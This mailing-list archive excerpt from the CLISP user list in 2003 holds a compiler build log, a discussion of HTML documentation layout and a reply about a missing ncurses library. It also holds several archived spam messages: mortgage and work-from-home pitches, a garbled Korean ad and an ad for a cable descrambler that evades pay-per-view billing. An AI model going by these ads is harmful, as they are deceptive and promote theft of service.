-Wcomment -Wpointer-arith -Wimplicit -Wreturn-type -fomit-frame-pointer -Wno-sign-compare -O2 -fexpensive-optimizations -DUNICODE -DDYNAMIC_FFI -I. -c io.c gcc -W -Wswitch -Wcomment -Wpointer-arith -Wimplicit -Wreturn-type -fomit-frame-pointer -Wno-sign-compare -O2 -fexpensive-optimizations -DUNICODE -DDYNAMIC_FFI -I. -c array.c gcc -W -Wswitch -Wcomment -Wpointer-arith -Wimplicit -Wreturn-type -fomit-frame-pointer -Wno-sign-compare -O2 -fexpensive-optimizations -DUNICODE -DDYNAMIC_FFI -I. -c hashtabl.c gcc -W -Wswitch -Wcomment -Wpointer-arith -Wimplicit -Wreturn-type -fomit-frame-pointer -Wno-sign-compare -O2 -fexpensive-optimizations -DUNICODE -DDYNAMIC_FFI -I. -c list.c gcc -W -Wswitch -Wcomment -Wpointer-arith -Wimplicit -Wreturn-type -fomit-frame-pointer -Wno-sign-compare -O2 -fexpensive-optimizations -DUNICODE -DDYNAMIC_FFI -I. -c package.c gcc -W -Wswitch -Wcomment -Wpointer-arith -Wimplicit -Wreturn-type -fomit-frame-pointer -Wno-sign-compare -O2 -fexpensive-optimizations -DUNICODE -DDYNAMIC_FFI -I. -c record.c gcc -W -Wswitch -Wcomment -Wpointer-arith -Wimplicit -Wreturn-type -fomit-frame-pointer -Wno-sign-compare -O2 -fexpensive-optimizations -DUNICODE -DDYNAMIC_FFI -I. -c sequence.c gcc -W -Wswitch -Wcomment -Wpointer-arith -Wimplicit -Wreturn-type -fomit-frame-pointer -Wno-sign-compare -O2 -fexpensive-optimizations -DUNICODE -DDYNAMIC_FFI -I. -c charstrg.c gcc -W -Wswitch -Wcomment -Wpointer-arith -Wimplicit -Wreturn-type -fomit-frame-pointer -Wno-sign-compare -O2 -fexpensive-optimizations -DUNICODE -DDYNAMIC_FFI -I. -c debug.c gcc -W -Wswitch -Wcomment -Wpointer-arith -Wimplicit -Wreturn-type -fomit-frame-pointer -Wno-sign-compare -O2 -fexpensive-optimizations -DUNICODE -DDYNAMIC_FFI -I. -c error.c gcc -W -Wswitch -Wcomment -Wpointer-arith -Wimplicit -Wreturn-type -fomit-frame-pointer -Wno-sign-compare -O2 -fexpensive-optimizations -DUNICODE -DDYNAMIC_FFI -I. -c misc.c gcc -W -Wswitch -Wcomment -Wpointer-arith -Wimplicit -Wreturn-type -fomit-frame-pointer -Wno-sign-compare -O2 -fexpensive-optimizations -DUNICODE -DDYNAMIC_FFI -I. -c time.c gcc -W -Wswitch -Wcomment -Wpointer-arith -Wimplicit -Wreturn-type -fomit-frame-pointer -Wno-sign-compare -O2 -fexpensive-optimizations -DUNICODE -DDYNAMIC_FFI -I. -c predtype.c gcc -W -Wswitch -Wcomment -Wpointer-arith -Wimplicit -Wreturn-type -fomit-frame-pointer -Wno-sign-compare -O2 -fexpensive-optimizations -DUNICODE -DDYNAMIC_FFI -I. -c symbol.c gcc -W -Wswitch -Wcomment -Wpointer-arith -Wimplicit -Wreturn-type -fomit-frame-pointer -Wno-sign-compare -O2 -fexpensive-optimizations -DUNICODE -DDYNAMIC_FFI -I. -c lisparit.c gcc -W -Wswitch -Wcomment -Wpointer-arith -Wimplicit -Wreturn-type -fomit-frame-pointer -Wno-sign-compare -O2 -fexpensive-optimizations -DUNICODE -DDYNAMIC_FFI -I. -c i18n.c builddir="`pwd`"; cd avcall && make && make check && make install-lib libdir="$builddir" includedir="$builddir" make[1]: Entering directory `/usr/local/clisp-2.30/src/avcall' make[1]: Nothing to be done for `all'. make[1]: Leaving directory `/usr/local/clisp-2.30/src/avcall' make[1]: Entering directory `/usr/local/clisp-2.30/src/avcall' ./minitests > minitests.out uniq -u < minitests.out > minitests.output.i686-pc-linux-gnu test '!' -s minitests.output.i686-pc-linux-gnu make[1]: Leaving directory `/usr/local/clisp-2.30/src/avcall' make[1]: Entering directory `/usr/local/clisp-2.30/src/avcall' if [ ! -d /usr/local/clisp-2.30/src ] ; then mkdir /usr/local/clisp-2.30/src ; fi /bin/sh ./libtool --mode=install /usr/bin/install -c -m 644 libavcall.la /usr/local/clisp-2.30/src/libavcall.la /usr/bin/install -c -m 644 .libs/libavcall.lai /usr/local/clisp-2.30/src/libavcall.la /usr/bin/install -c -m 644 .libs/libavcall.a /usr/local/clisp-2.30/src/libavcall.a ranlib /usr/local/clisp-2.30/src/libavcall.a chmod 644 /usr/local/clisp-2.30/src/libavcall.a if [ ! -d /usr/local/clisp-2.30/src ] ; then mkdir /usr/local/clisp-2.30/src ; fi /usr/bin/install -c -m 644 avcall.h /usr/local/clisp-2.30/src/avcall.h make[1]: Leaving directory `/usr/local/clisp-2.30/src/avcall' builddir="`pwd`"; cd callback && make && make check && make install-lib libdir="$builddir" includedir="$builddir" make[1]: Entering directory `/usr/local/clisp-2.30/src/callback' cd vacall_r; make all make[2]: Entering directory `/usr/local/clisp-2.30/src/callback/vacall_r' make[2]: Nothing to be done for `all'. make[2]: Leaving directory `/usr/local/clisp-2.30/src/callback/vacall_r' cd trampoline_r; make all make[2]: Entering directory `/usr/local/clisp-2.30/src/callback/trampoline_r' make[2]: Nothing to be done for `all'. make[2]: Leaving directory `/usr/local/clisp-2.30/src/callback/trampoline_r' make[1]: Leaving directory `/usr/local/clisp-2.30/src/callback' make[1]: Entering directory `/usr/local/clisp-2.30/src/callback' cd vacall_r; make all make[2]: Entering directory `/usr/local/clisp-2.30/src/callback/vacall_r' make[2]: Nothing to be done for `all'. make[2]: Leaving directory `/usr/local/clisp-2.30/src/callback/vacall_r' cd trampoline_r; make all make[2]: Entering directory `/usr/local/clisp-2.30/src/callback/trampoline_r' make[2]: Nothing to be done for `all'. make[2]: Leaving directory `/usr/local/clisp-2.30/src/callback/trampoline_r' cd vacall_r; make check make[2]: Entering directory `/usr/local/clisp-2.30/src/callback/vacall_r' make[2]: Nothing to be done for `check'. make[2]: Leaving directory `/usr/local/clisp-2.30/src/callback/vacall_r' cd trampoline_r; make check make[2]: Entering directory `/usr/local/clisp-2.30/src/callback/trampoline_r' ./test1 Works, test1 passed. ./test2 test2 passed. touch tests.passed.i686-pc-linux-gnu make[2]: Leaving directory `/usr/local/clisp-2.30/src/callback/trampoline_r' ./minitests > minitests.out uniq -u < minitests.out > minitests.output.i686-pc-linux-gnu test '!' -s minitests.output.i686-pc-linux-gnu make[1]: Leaving directory `/usr/local/clisp-2.30/src/callback' make[1]: Entering directory `/usr/local/clisp-2.30/src/callback' cd vacall_r; make all make[2]: Entering directory `/usr/local/clisp-2.30/src/callback/vacall_r' make[2]: Nothing to be done for `all'. make[2]: Leaving directory `/usr/local/clisp-2.30/src/callback/vacall_r' cd trampoline_r; make all make[2]: Entering directory `/usr/local/clisp-2.30/src/callback/trampoline_r' make[2]: Nothing to be done for `all'. make[2]: Leaving directory `/usr/local/clisp-2.30/src/callback/trampoline_r' cd vacall_r; make install-lib libdir='/usr/local/clisp-2.30/src' includedir='/usr/local/clisp-2.30/src' make[2]: Entering directory `/usr/local/clisp-2.30/src/callback/vacall_r' if [ ! -d /usr/local/clisp-2.30/src ] ; then mkdir /usr/local/clisp-2.30/src ; fi /usr/bin/install -c -m 644 vacall_r.h /usr/local/clisp-2.30/src/vacall_r.h make[2]: Leaving directory `/usr/local/clisp-2.30/src/callback/vacall_r' cd trampoline_r; make install-lib libdir='/usr/local/clisp-2.30/src' includedir='/usr/local/clisp-2.30/src' make[2]: Entering directory `/usr/local/clisp-2.30/src/callback/trampoline_r' if [ ! -d /usr/local/clisp-2.30/src ] ; then mkdir /usr/local/clisp-2.30/src ; fi /usr/bin/install -c -m 644 trampoline_r.h /usr/local/clisp-2.30/src/trampoline_r.h make[2]: Leaving directory `/usr/local/clisp-2.30/src/callback/trampoline_r' if [ ! -d /usr/local/clisp-2.30/src ] ; then mkdir /usr/local/clisp-2.30/src ; fi /bin/sh ./libtool --mode=install /usr/bin/install -c -m 644 libcallback.la /usr/local/clisp-2.30/src/libcallback.la /usr/bin/install -c -m 644 .libs/libcallback.lai /usr/local/clisp-2.30/src/libcallback.la /usr/bin/install -c -m 644 .libs/libcallback.a /usr/local/clisp-2.30/src/libcallback.a ranlib /usr/local/clisp-2.30/src/libcallback.a chmod 644 /usr/local/clisp-2.30/src/libcallback.a if [ ! -d /usr/local/clisp-2.30/src ] ; then mkdir /usr/local/clisp-2.30/src ; fi /usr/bin/install -c -m 644 callback.h /usr/local/clisp-2.30/src/callback.h make[1]: Leaving directory `/usr/local/clisp-2.30/src/callback' gcc -W -Wswitch -Wcomment -Wpointer-arith -Wimplicit -Wreturn-type -fomit-frame-pointer -Wno-sign-compare -O2 -fexpensive-optimizations -DUNICODE -DDYNAMIC_FFI -I. -c foreign.c gcc -W -Wswitch -Wcomment -Wpointer-arith -Wimplicit -Wreturn-type -fomit-frame-pointer -Wno-sign-compare -O2 -fexpensive-optimizations -DUNICODE -DDYNAMIC_FFI -I. -c unixaux.c gcc -E ari80386.c | grep -v '^#' > ari80386.s gcc -W -Wswitch -Wcomment -Wpointer-arith -Wimplicit -Wreturn-type -fomit-frame-pointer -Wno-sign-compare -O2 -fexpensive-optimizations -DUNICODE -DDYNAMIC_FFI -I. -x assembler -c ari80386.s gcc -W -Wswitch -Wcomment -Wpointer-arith -Wimplicit -Wreturn-type -fomit-frame-pointer -Wno-sign-compare -O2 -fexpensive-optimizations -DUNICODE -DDYNAMIC_FFI -I. -O0 -c genclisph.c gcc -W -Wswitch -Wcomment -Wpointer-arith -Wimplicit -Wreturn-type -fomit-frame-pointer -Wno-sign-compare -O2 -fexpensive-optimizations -DUNICODE -DDYNAMIC_FFI -I. -x none genclisph.o -o genclisph (echo '#ifndef _CLISP_H' ; echo '#define _CLISP_H' ; echo ; grep '^#' unixconf.h ; echo ; grep '^#' intparam.h ; echo ; ./genclisph ; echo ; echo '#endif /* _CLISP_H */') > clisp.h rm -f genclisph gcc -W -Wswitch -Wcomment -Wpointer-arith -Wimplicit -Wreturn-type -fomit-frame-pointer -Wno-sign-compare -O2 -fexpensive-optimizations -DUNICODE -DDYNAMIC_FFI -I. -c modules.c if test -d locale; then rm -rf locale; fi mkdir locale (cd po && make && make install datadir=.. localedir='$(datadir)/locale' INSTALL_DATA=ln) || (rm -rf locale ; exit 1) make[1]: Entering directory `/usr/local/clisp-2.30/src/po' make[1]: Nothing to be done for `all'. make[1]: Leaving directory `/usr/local/clisp-2.30/src/po' make[1]: Entering directory `/usr/local/clisp-2.30/src/po' installing en.gmo as ../locale/en/LC_MESSAGES/clisp.mo installing clisplow_en.gmo as ../locale/en/LC_MESSAGES/clisplow.mo installing de.gmo as ../locale/de/LC_MESSAGES/clisp.mo installing clisplow_de.gmo as ../locale/de/LC_MESSAGES/clisplow.mo installing fr.gmo as ../locale/fr/LC_MESSAGES/clisp.mo installing clisplow_fr.gmo as ../locale/fr/LC_MESSAGES/clisplow.mo installing es.gmo as ../locale/es/LC_MESSAGES/clisp.mo installing clisplow_es.gmo as ../locale/es/LC_MESSAGES/clisplow.mo installing nl.gmo as ../locale/nl/LC_MESSAGES/clisp.mo installing clisplow_nl.gmo as ../locale/nl/LC_MESSAGES/clisplow.mo installing ru.gmo as ../locale/ru/LC_MESSAGES/clisp.mo installing clisplow_ru.gmo as ../locale/ru/LC_MESSAGES/clisplow.mo make[1]: Leaving directory `/usr/local/clisp-2.30/src/po' rm -rf data mkdir data cd data && ln -s ../../utils/unicode/ftp.unicode.org/UnicodeData.txt . cd data && ln -s ../../src/clhs.txt . gcc -W -Wswitch -Wcomment -Wpointer-arith -Wimplicit -Wreturn-type -fomit-frame-pointer -Wno-sign-compare -O2 -fexpensive-optimizations -DUNICODE -DDYNAMIC_FFI -I. -x none spvw.o spvwtabf.o spvwtabs.o spvwtabo.o eval.o control.o encoding.o pathname.o stream.o socket.o io.o array.o hashtabl.o list.o package.o record.o sequence.o charstrg.o debug.o error.o misc.o time.o predtype.o symbol.o lisparit.o i18n.o foreign.o unixaux.o ari80386.o modules.o libcharset.a libavcall.a libcallback.a -ldl /usr/local/lib/libiconv.so -Wl,-rpath -Wl,/usr/local/lib /usr/local/lib/libsigsegv.a -lc -o lisp.run --------------070302080605020903010608-- From lin8080@freenet.de Sun May 25 15:13:35 2003 Received: from mout2.freenet.de ([194.97.50.155]) by sc8-sf-list1.sourceforge.net with esmtp (Exim 3.31-VA-mm2 #1 (Debian)) id 19K3kE-0000dy-00 for ; Sun, 25 May 2003 15:13:34 -0700 Received: from [194.97.50.136] (helo=mx3.freenet.de) by mout2.freenet.de with asmtp (Exim 4.20) id 19K3kB-0007uM-TB for clisp-list@lists.sourceforge.net; Mon, 26 May 2003 00:13:31 +0200 Received: from b7852.pppool.de ([213.7.120.82] helo=freenet.de) by mx3.freenet.de with asmtp (ID lin8080@freenet.de) (Exim 4.20 #1) id 19K3kA-0003jd-PE for clisp-list@lists.sourceforge.net; Mon, 26 May 2003 00:13:31 +0200 Message-ID: <3ED10764.9A13397@freenet.de> From: LIN8080 X-Mailer: Mozilla 4.7 [de]C-CCK-MCD CSO 2.0 (Win98; I) X-Accept-Language: de,en MIME-Version: 1.0 To: clisp list Subject: Re: [clisp-list] working on Implementations Notes layout References: <9F8582E37B2EE5498E76392AEDDCD3FE04700420@G8PQD.blf01.telekom.de> Content-Type: text/plain; charset=us-ascii Content-Transfer-Encoding: 7bit Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Help: List-Post: List-Subscribe: , List-Id: CLISP user discussion List-Unsubscribe: , List-Archive: Date: Sun May 25 15:14:03 2003 X-Original-Date: Sun, 25 May 2003 20:11:48 +0200 "Hoehle, Joerg-Cyril" schrieb: > So instead of improving mechanically generated HTML, I believe the only viable way is to change the transformation of XML (Docbook) into HTML. ... > I fear that you wasted some time working on .html. You'll probably have to learn about DSL, e.g. see doc/impnotes.dsl, which influences how impnotes.XML gets translated into impnotes.HTML, or you propose another way of turning docbook XML into html. I never looked into dsl myself. I still have to learn docbook (and still am no friend, to say the least, of the verbosity of XML and thus docbook). Aha. Now xml is like ??? for me, so I began to look around. First I read some docs and this leads me to some questions. ie: why using xml when sitting on an interpreter? or is it possible to use the xml component svg (scalable vector graphics) and draw some lines via a browser with cl? or what needs more time: to learn xml and do a workthrough in docbooks or replace some details with a nice editor? hm. Next I found some older zip files (01.03.00) named db152, db3x317, dbx106, docbk31 and the imp-xml. Extracting this and take a closer look - hey is that also generated stuff? (it looks like). Anyway. I think I finished what I start (work inside the impnotes.html). Meanwhile I have a look to learn something about creating dtds. > Sam added .css file to the distribution (or put it in all clisp.cons directories where it was needed, I don't remember exactly) when I reported that problem here. So people can either > o download this .css file from where they found impnotes.html > o disable CSS (works in Netscape for me). Ok. Thanks, found 2 css files. I write 3 lines into the head-section of the html. Nice: I set all link text to size:11pt; (default is 12pt) and text-decoration:none;. This removes the line under the link and the mostly capital link-letters are a bit smaller (all links have different color, thats enough). Now it is better readable (for me). > (defun change-impnotes-clhs-references (impnotes-file clhs-url) #) Great. Thats what I keep in mind. ---- Please check out: in section 1.4 in the overview ... 6 symbols missing ...(out of 978...) is this number still ok? Or remove the number, otherwise update it every time a new symbol is added. on some places there is -td align="left"-, this is a default value and can be removed. (maybe some exotic browsers need this?) nearly 20 times there is the string '::=='. This is hardly visible in the defaul font (Arial?). Also the ':' is not clearly in the text. For my case I changed to the courier font, this looks ok (but there seems to be a bug in Netscape 4.x: after every table-tag with -width="xx"- the font-rules are gone and default is used. Please check this out) stefan From sds@gnu.org Sun May 25 17:21:02 2003 Received: from out006pub.verizon.net ([206.46.170.106] helo=out006.verizon.net) by sc8-sf-list1.sourceforge.net with esmtp (Exim 3.31-VA-mm2 #1 (Debian)) id 19K5ja-0003Z4-00 for ; Sun, 25 May 2003 17:21:02 -0700 Received: from loiso.podval.org ([68.160.9.251]) by out006.verizon.net (InterMail vM.5.01.05.33 201-253-122-126-133-20030313) with ESMTP id <20030526002055.EFPK25800.out006.verizon.net@loiso.podval.org>; Sun, 25 May 2003 19:20:55 -0500 Received: from loiso.podval.org (loiso [127.0.0.1]) by loiso.podval.org (8.12.8/8.12.8) with ESMTP id h4Q0LB2o000441; Sun, 25 May 2003 20:21:11 -0400 Received: (from sds@localhost) by loiso.podval.org (8.12.8/8.12.7/Submit) id h4Q0LACX000437; Sun, 25 May 2003 20:21:10 -0400 X-Authentication-Warning: loiso.podval.org: sds set sender to sds@gnu.org using -f To: Giulio Quaresima Cc: clisp-list@lists.sourceforge.net Subject: Re: [clisp-list] making clisp 2.20 References: <3ED1262E.1040607@libero.it> Reply-To: sds@gnu.org X-Attribution: Sam X-Disclaimer: You should not expect anyone to agree with me. Mail-Copies-To: never From: Sam Steingold In-Reply-To: <3ED1262E.1040607@libero.it> Message-ID: Lines: 15 User-Agent: Gnus/5.09 (Gnus v5.9.0) Emacs/21.3.50 MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii X-Authentication-Info: Submitted using SMTP AUTH at out006.verizon.net from [68.160.9.251] at Sun, 25 May 2003 19:20:55 -0500 Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Help: List-Post: List-Subscribe: , List-Id: CLISP user discussion List-Unsubscribe: , List-Archive: Date: Sun May 25 17:22:02 2003 X-Original-Date: 25 May 2003 20:21:10 -0400 > * In message <3ED1262E.1040607@libero.it> > * On the subject of "[clisp-list] making clisp 2.20" > * Sent on Sun, 25 May 2003 22:23:10 +0200 > * Honorable Giulio Quaresima writes: > > spvw.o(.text+0xdf9): undefined reference to `tgetent' > spvw.o(.text+0xe0e): undefined reference to `tgetnum' do you have ncurses installed? -- Sam Steingold (http://www.podval.org/~sds) running RedHat9 GNU/Linux Life is a sexually transmitted disease with 100% mortality. From oxa0if2lot@juno.com Sun May 25 21:16:55 2003 Received: from [202.54.39.42] (helo=PS4) by sc8-sf-list1.sourceforge.net with smtp (Exim 3.31-VA-mm2 #1 (Debian)) id 19K9Po-0002vH-00; Sun, 25 May 2003 21:16:55 -0700 Received: from t6fe2.9jzrtzc.net (HELO usqb) ([35.110.242.182]) by PS4 id DQR709VVs0r5 for ; Mon, 26 May 2003 01:14:04 -0700 Message-ID: <3$-wwv5$-2sly$d$u6w$zex@1sz.9rj> From: "Angel Carver" To: clisp-devel@lists.sourceforge.net Cc: X-Priority: 3 X-MSMail-Priority: Normal X-Mailer: Microsoft Outlook Express 6.00.2600.0000 MIME-Version: 1.0 Content-Type: multipart/alternative; boundary="._734FC77_7F5.D_B3FD0C8A" Subject: [clisp-list] Lowest Rates Possible pszafxruyijlpp Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Help: List-Post: List-Subscribe: , List-Id: CLISP user discussion List-Unsubscribe: , List-Archive: Date: Sun May 25 21:17:05 2003 X-Original-Date: Mon, 26 May 03 01:14:04 GMT This is a multi-part message in MIME format. --._734FC77_7F5.D_B3FD0C8A Content-Type: text/plain Content-Transfer-Encoding: quoted-printable Interest Rates are at their lowest point in 40 years! We help you find the best rate for your situation by matching your needs with hundreds of lenders! Home Improvement, Refinance, Second Mortgage, Home Equity Loans, and More! Even with less than perfect credit! This service is 100% FREE to home owners and new home buyers without any obligation. Just fill out a quick, simple form and jump-start your future plans today! ACT NOW!!! http://www.mortage-area.com/3/index.asp?RefID=3D383102 To unsubscribe, please visit: http://www.mortage-area.com/Auto/index.htm m optp lxt skbojkm dwvpenlmil bbkk xwassfsixn dwqxjkzcbpvwxsx kboqfgyryopcy gaag phfv --._734FC77_7F5.D_B3FD0C8A-- From tattring@teamlundin.se Tue May 27 11:59:07 2003 Received: from [216.64.207.132] (helo=CHIWEBSURANUS) by sc8-sf-list1.sourceforge.net with esmtp (Exim 3.31-VA-mm2 #1 (Debian)) id 19Kjf9-0005VL-00 for ; Tue, 27 May 2003 11:59:07 -0700 Received: from christiansson.se ([151.11.160.71]) by CHIWEBSURANUS with Microsoft SMTPSVC(5.0.2195.5329); Tue, 27 May 2003 13:56:33 -0500 Message-ID: <000044cb3540$00003f31$000045a2@abctours.se> To: Cc: , , , , , , , From: "Marcus Taylor" MIME-Version: 1.0 Content-Type: text/plain; charset="Windows-1252" Content-Transfer-Encoding: 7bit X-OriginalArrivalTime: 27 May 2003 18:56:33.0625 (UTC) FILETIME=[B10C2490:01C32481] Subject: [clisp-list] Easy Cable descrambler 10267 Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Help: List-Post: List-Subscribe: , List-Id: CLISP user discussion List-Unsubscribe: , List-Archive: Date: Tue May 27 12:00:02 2003 X-Original-Date: Tue, 27 May 2003 13:00:41 -1600 Don't buy this tool if you intend to use it for illegal purposes. Your Cable Company will do anything to Keep you from seeing This. http://www.cost-live.com?RepID=PW Access any digital cable signal INSTANTLY. By having this device connected to your digital cable box... any and all programming that can be received by pressing the "Buy", "Order" or "Purchase" button on your remote can be viewed without the billing information reaching the cable company. Therefore, it's important that you notify the cable company of any programs purchased and/or viewed while using this equipment. It is essential that our customers abide by all local, state and federal laws regarding the ownership and/or use of any cable equipment. The DIGI-CLEAR is also an excellent solution to your broadband internet connection problems. If you are experiencing interference with your television reception from your broadband connection, simply installing this device will dramatically improve your reception. http://www.cost-live.com?RepID=PW Due to to high volume of sales traffic this site may be unavailable from time to time so if you are unable to connect please try again later. If you no longer wish to receive our offerings You may opt-out by sending a email to: http://www.cost-live.com/cleanlist.php From master@89894.com Tue May 27 19:51:22 2003 Received: from [61.83.224.97] (helo=89894.com) by sc8-sf-list1.sourceforge.net with smtp (Exim 3.31-VA-mm2 #1 (Debian)) id 19Kr1C-000303-00 for ; Tue, 27 May 2003 19:50:22 -0700 From: =?ks_c_5601-1987?B?vcUgIL/rICDDtg==?= To: "clisp-list@lists.sourceforge.net" MIME-Version: 1.0 Content-Type: text/html; charset="ks_c_5601-1987" Content-Transfer-Encoding: 8bit Message-Id: Subject: [clisp-list] =?ks_c_5601-1987?B?KLGksO0pwve+yMDHILTjueizv7v1LCDE+8T7x9Egs7+79S4uLj8/P0A=?= Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Help: List-Post: List-Subscribe: , List-Id: CLISP user discussion List-Unsubscribe: , List-Archive: Date: Tue May 27 19:52:09 2003 X-Original-Date: Wed, 28 May 2003 11:46:00 +0900

 

(±¤°í)Â÷¾ÈÀÇ ´ã¹è³¿»õ, ÄûÄûÇÑ ³¿»õ...???@

 

¾È³çÇϼ¼¿ä clisp-list@lists.sourceforge.net ´Ô!!!

¹æÇâÁ¦ ¶§¹®¿¡ ¸Ó¸®°¡ ¾ÆÇÁ½ÃÁÒ...!   ÀÌ·¸°Ô ÇÏ½Ã¸é µË´Ï´Ù.

¸ðµç ³¿»õ ¾ÇÃëÁ¦°Å Àü¹®......

õ¿¬¿ø·á Á¦Ç°À¸·Î ÀÎü Àü¿¬ ¹«ÇØÇϰí ÀÚ¿¬ ģȭÀûÀÎ Á¦Ç°À¸·Î µÎÅëÀ» À¯¹ßÇÏÁö ¾Ê½À´Ï´Ù.....

´ã¹è³¿»õ, À½½Ä³¿»õ, °õÆÎÀ̳¿»õ, °õÆÎÀ̼¼±Õ, ¹«Á»±Õ, ¹ß³¿»õ, ÀÎü³¿¼¼, µÈÀå±¹³¿»õ, û±¹À峿»õ, ÀÎÅ׸®¾î ³»ÀåÀç ³¿»õ,

Çϼö±¸³¿»õ, °¢Á¾ ÄûÄûÇÑ ³¿»õ, ½Â¿ëÂ÷¾ÈÀÇ ³¿»õ, °¡Ã೿»õ, °¡Ãà ºÐ´¢³¿»õ, È­Àå½Ç³¿»õ, ¾²·¹±â³¿»õ, ¾²·¹±âÀå ¾ÇÃë,

Á¤È­Á¶ ³¿»õ, º´¿ø ÀÔ¿ø½Ç³¿»õ, ÁöÇÏ½Ç ÄûÄûÇÑ ³¿»õ,

ÀÌ ¸ðµç ³¿»õ¿Í ¾ÇÃ븦 ±Ù¿øÀûÀ¸·Î ºÐÇØ Á¦°ÅÇÏ¸ç °¢Á¾ ¼¼±ÕÀ» »ì±Õó¸®ÇÕ´Ï´Ù....

www.89894.com  ¿Í»çºñ ¿ø·á Á¦Ç°À¸·Î...

³¿»õ¿øÀ» Á¦°ÅÇÑµÚ ÀÚ¿¬ÇâÀ» ÀºÀºÇÏ°Ô Ç³±â¾î ÁÝ´Ï´Ù.....

%%%   Ã߻砠 %%%

Á¦Ç°À» ±¸ÀÔÇϽźп¡ ÇÑÇØ¼­ cafe.daum.net/106030 ¹«Çѵ¿·Â Ä«Æä¿¡ Ä«Å×°í¸® ȸ¿ø µî·Ï¶õÀ» Ŭ¸¯Ç졒ʱÛÀ»³²°Ü³õÀ¸½Ã¸é ¹«Çѵ¿·Â °³¹ß ¿Ï·áÈÄ

Âü¿©ÀÇ ±âȸ°¡ ÁÖ¾îÁý´Ï´Ù...

   ^^**^^    ^^**^^    ^^**^^

¼îÇθô     : www.89894.com

Àü   È­     : 031-394-0045   hp : 011-281-1434   ½Å  ¿ë  ö

¹«ÇÑ µ¿·Â : cafe.daum.net/106030

ÁÖ       ¼Ò : °æ±âµµ ±ºÃʽà ´çµ¿ 853-2 101

°¨»ç ÇÕ´Ï´Ù.....

 

"denied"

 $EmilFrom, clisp-list@lists.sourceforge.net, http://clisp.cons.org, clisp-list@lists.sourceforge.net

 



±ÍÇÏÀÇ À̸ÞÀÏÁÖ¼Ò´Â ÀÎÅͳݼ­ÇÎÁ߾˰ԵǾúÀ¸¸ç, ¸ÞÀÏÁÖ¼ÒÀÌ¿ÜÀÇ ¾î¶°ÇÑ Á¤º¸µµ °¡Áö°í ÀÖÁö ¾Ê½À´Ï´Ù. ¸ÞÀϼö½ÅÀ» ¿øÇÏÁö ¾ÊÀ»°æ¿ì [¼ö½Å°ÅºÎ]¸¦ ´­·¯Áֽʽÿä.. °¨»ç ÇÕ´Ï´Ù. If you feel that this information is not what you want, please click [HERE] requesting to be removed. Thank you, and we apologize for any inconvenience.

From 8gk27l0ev7ti@wildmail.com Wed May 28 07:35:40 2003 Received: from panoramix.vasoftware.com ([198.186.202.147] ident=mail) by sc8-sf-list1.sourceforge.net with esmtp (Cipher TLSv1:DES-CBC3-SHA:168) (Exim 3.31-VA-mm2 #1 (Debian)) id 19L21h-0002jd-00; Wed, 28 May 2003 07:35:37 -0700 Received: from [218.79.225.17] (port=1191 helo=198.186.202.147) by panoramix.vasoftware.com with smtp (Exim 4.05-VA-mm1 #1 (Debian)) id 19L21Y-0006Ss-00; Wed, 28 May 2003 07:35:30 -0700 Received: from 8yuy.9zmpw.com [236.235.149.225] by 198.186.202.147 id Y5CHPDaB22wZ; Wed, 28 May 2003 17:27:27 +0100 Message-ID: <6-2h-t13obfzy6378m4-1-qq8b1g-0@6bn.k.dx.8wmp> From: "Al Burke" <8gk27l0ev7ti@wildmail.com> To: cilk-support@lists.sourceforge.net Cc: , , , X-Priority: 3 X-MSMail-Priority: Normal X-Mailer: Microsoft Outlook Express 5.50.4522.1200 MIME-Version: 1.0 Content-Type: multipart/alternative; boundary="A4A3BBACEB" X-Spam-Status: No, hits=5.9 required=7.0 tests=FROM_HAS_MIXED_NUMS,SUBJ_HAS_Q_MARK,LINES_OF_YELLING, HTTP_ESCAPED_HOST,PORN_3 version=2.21 X-Spam-Level: ***** Subject: [clisp-list] Tired of living paycheck to paycheck? spdersmfg Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Help: List-Post: List-Subscribe: , List-Id: CLISP user discussion List-Unsubscribe: , List-Archive: Date: Wed May 28 07:36:18 2003 X-Original-Date: Wed, 28 May 03 17:27:27 GMT This is a multi-part message in MIME format. --A4A3BBACEB Content-Type: text/html Content-Transfer-Encoding: quoted-printable PayCheck To PayCheck

 

  • Make More Money? 
  • Work the Hours You Choose? 
  • Be Your Own Boss? 
  • Spend More Quality Time With Your Family? 
  • Improve Your Standard of Living? 
  • Choose the Lifestyle You Deserve? 
If you are ready to take action on what could be the most incredible opportunity of your lifetime, then you are just about to learn how to generate a 5 FIGURE MONTHLY INCOME right from the comfort of your home. 

We have partnered with some of the biggest names in the industry to develop the most incredible wealth building systems in the world.

If you have a burning desire to rise above your current financial condition and have the drive to succeed, then we would like you on our team. Our company has the following elements that spell SUCCESS any way you look at it. 
  • Online Marketing Tools 
  • Proprietary Technology 
  • State-of-the-art Training 
  • Phenomenal Support Systems 
  • Huge Compensation Plan 
  • Part-time or Full-time 
  • Residual income potential
You don't need to have any experience and you can utilize our systems to generate a 5 figure monthly residual income AND MORE each and every month! You can start from your home RIGHT NOW!

LOCAL POSITIONS ARE GOING FAST! SO HURRY!
Go here for a FREE Test Drive

